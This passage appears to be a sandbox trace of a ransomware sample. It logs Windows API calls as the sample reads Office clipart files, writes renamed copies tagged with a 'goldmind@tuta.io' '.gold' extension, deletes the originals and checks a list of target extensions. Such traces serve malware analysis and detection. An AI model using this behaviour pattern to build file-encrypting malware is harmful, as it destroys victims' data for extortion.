dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0114.017] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=3826) returned 1 [0114.017] CloseHandle (hObject=0x3d4) returned 1 [0114.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf")) returned 0x20 [0114.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0114.017] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.017] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0114.127] GetLastError () returned 0x0 [0114.127] ReadFile (in: hFile=0x3d4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xef2, lpOverlapped=0x0) returned 1 [0114.129] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xf00, lpOverlapped=0x0) returned 1 [0114.129] ReadFile (in: hFile=0x3d4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0114.130] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.130] SetEndOfFile (hFile=0x3f8) returned 1 [0114.130] CloseHandle (hObject=0x3f8) returned 1 [0114.130] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.130] SetEndOfFile (hFile=0x3d4) returned 1 [0114.132] CloseHandle (hObject=0x3d4) returned 1 [0114.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf")) returned 1 [0114.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0114.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0114.133] lstrlenW (lpString=".doc") returned 4 [0114.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.133] lstrlenW (lpString=".docx") returned 5 [0114.133] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0114.133] lstrlenW (lpString=".pdf") returned 4 [0114.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.133] lstrlenW (lpString=".xls") returned 4 [0114.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.133] lstrlenW (lpString=".xlsx") returned 5 [0114.133] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0114.133] lstrlenW (lpString=".ppt") returned 4 [0114.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0114.133] lstrlenW (lpString=".zip") returned 4 [0114.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.133] lstrlenW (lpString=".rar") returned 4 [0114.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.133] lstrlenW (lpString=".bz2") returned 4 [0114.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.133] lstrlenW (lpString=".7z") returned 3 [0114.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0114.133] lstrlenW (lpString=".dbf") returned 4 [0114.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0114.134] lstrlenW (lpString=".1cd") returned 4 [0114.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0114.134] lstrlenW (lpString=".jpg") returned 4 [0114.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0114.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0114.134] lstrlenW (lpString=".doc") returned 4 [0114.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.134] lstrlenW (lpString=".docx") returned 5 [0114.134] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0114.134] lstrlenW (lpString=".pdf") returned 4 [0114.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.134] lstrlenW (lpString=".xls") returned 4 [0114.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.134] lstrlenW (lpString=".xlsx") returned 5 [0114.134] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0114.134] lstrlenW (lpString=".ppt") returned 4 [0114.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0114.134] lstrlenW (lpString=".zip") returned 4 [0114.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.134] lstrlenW (lpString=".rar") returned 4 [0114.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.134] lstrlenW (lpString=".bz2") returned 4 [0114.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.134] lstrlenW (lpString=".7z") returned 3 [0114.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0114.134] lstrlenW (lpString=".dbf") returned 4 [0114.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0114.134] lstrlenW (lpString=".1cd") returned 4 [0114.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0114.134] lstrlenW (lpString=".jpg") returned 4 [0114.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.134] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.134] lstrlenW (lpString="J0198102.WMF") returned 12 [0114.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0114.135] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=54964) returned 1 [0114.135] CloseHandle (hObject=0x3d4) returned 1 [0114.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf")) returned 0x20 [0114.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0114.136] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.136] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0114.138] GetLastError () returned 0x0 [0114.138] ReadFile (in: hFile=0x3d4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xd6b4, lpOverlapped=0x0) returned 1 [0114.141] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xd6c0, lpOverlapped=0x0) returned 1 [0114.143] ReadFile (in: hFile=0x3d4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0114.143] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.143] SetEndOfFile (hFile=0x3f8) returned 1 [0114.143] CloseHandle (hObject=0x3f8) returned 1 [0114.143] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.143] SetEndOfFile (hFile=0x3d4) returned 1 [0114.145] CloseHandle (hObject=0x3d4) returned 1 [0114.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf")) returned 1 [0114.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0114.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0114.147] lstrlenW (lpString=".doc") returned 4 [0114.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.147] lstrlenW (lpString=".docx") returned 5 [0114.147] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0114.147] lstrlenW (lpString=".pdf") returned 4 [0114.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.147] lstrlenW (lpString=".xls") returned 4 [0114.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.147] lstrlenW (lpString=".xlsx") returned 5 [0114.147] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0114.147] lstrlenW (lpString=".ppt") returned 4 [0114.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0114.147] lstrlenW (lpString=".zip") returned 4 [0114.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.147] lstrlenW (lpString=".rar") returned 4 [0114.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.147] lstrlenW (lpString=".bz2") returned 4 [0114.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.147] lstrlenW (lpString=".7z") returned 3 [0114.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0114.147] lstrlenW (lpString=".dbf") returned 4 [0114.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0114.148] lstrlenW (lpString=".1cd") returned 4 [0114.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0114.148] lstrlenW (lpString=".jpg") returned 4 [0114.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0114.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0114.148] lstrlenW (lpString=".doc") returned 4 [0114.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.148] lstrlenW (lpString=".docx") returned 5 [0114.148] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0114.148] lstrlenW (lpString=".pdf") returned 4 [0114.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.148] lstrlenW (lpString=".xls") returned 4 [0114.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.148] lstrlenW (lpString=".xlsx") returned 5 [0114.148] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0114.148] lstrlenW (lpString=".ppt") returned 4 [0114.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0114.148] lstrlenW (lpString=".zip") returned 4 [0114.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.148] lstrlenW (lpString=".rar") returned 4 [0114.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.148] lstrlenW (lpString=".bz2") returned 4 [0114.148] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.148] lstrlenW (lpString=".7z") returned 3 [0114.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0114.148] lstrlenW (lpString=".dbf") returned 4 [0114.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0114.148] lstrlenW (lpString=".1cd") returned 4 [0114.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned 63 [0114.148] lstrlenW (lpString=".jpg") returned 4 [0114.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.148] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.149] lstrlenW (lpString="J0198113.WMF") returned 12 [0114.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0114.149] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=42272) returned 1 [0114.149] CloseHandle (hObject=0x3d4) returned 1 [0114.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf")) returned 0x20 [0114.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0114.150] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.150] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0114.151] GetLastError () returned 0x0 [0114.151] ReadFile (in: hFile=0x3d4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xa520, lpOverlapped=0x0) returned 1 [0114.153] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xa530, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xa530, lpOverlapped=0x0) returned 1 [0114.154] ReadFile (in: hFile=0x3d4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0114.154] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.154] SetEndOfFile (hFile=0x3f8) returned 1 [0114.154] CloseHandle (hObject=0x3f8) returned 1 [0114.154] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.155] SetEndOfFile (hFile=0x3d4) returned 1 [0114.157] CloseHandle (hObject=0x3d4) returned 1 [0114.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf")) returned 1 [0114.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0114.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0114.158] lstrlenW (lpString=".doc") returned 4 [0114.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.158] lstrlenW (lpString=".docx") returned 5 [0114.158] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.158] lstrlenW (lpString=".pdf") returned 4 [0114.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.158] lstrlenW (lpString=".xls") returned 4 [0114.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.158] lstrlenW (lpString=".xlsx") returned 5 [0114.158] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.158] lstrlenW (lpString=".ppt") returned 4 [0114.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0114.158] lstrlenW (lpString=".zip") returned 4 [0114.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.158] lstrlenW (lpString=".rar") returned 4 [0114.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.158] lstrlenW (lpString=".bz2") returned 4 [0114.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.158] lstrlenW (lpString=".7z") returned 3 [0114.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0114.158] lstrlenW (lpString=".dbf") returned 4 [0114.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0114.159] lstrlenW (lpString=".1cd") returned 4 [0114.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0114.159] lstrlenW (lpString=".jpg") returned 4 [0114.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0114.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0114.159] lstrlenW (lpString=".doc") returned 4 [0114.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.159] lstrlenW (lpString=".docx") returned 5 [0114.159] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.159] lstrlenW (lpString=".pdf") returned 4 [0114.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.159] lstrlenW (lpString=".xls") returned 4 [0114.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.159] lstrlenW (lpString=".xlsx") returned 5 [0114.159] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.159] lstrlenW (lpString=".ppt") returned 4 [0114.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0114.159] lstrlenW (lpString=".zip") returned 4 [0114.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.159] lstrlenW (lpString=".rar") returned 4 [0114.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.159] lstrlenW (lpString=".bz2") returned 4 [0114.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.159] lstrlenW (lpString=".7z") returned 3 [0114.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0114.159] lstrlenW (lpString=".dbf") returned 4 [0114.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0114.159] lstrlenW (lpString=".1cd") returned 4 [0114.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned 63 [0114.159] lstrlenW (lpString=".jpg") returned 4 [0114.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.159] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.160] lstrlenW (lpString="J0198226.WMF") returned 12 [0114.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0114.222] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=41906) returned 1 [0114.222] CloseHandle (hObject=0x3d4) returned 1 [0114.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf")) returned 0x20 [0114.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 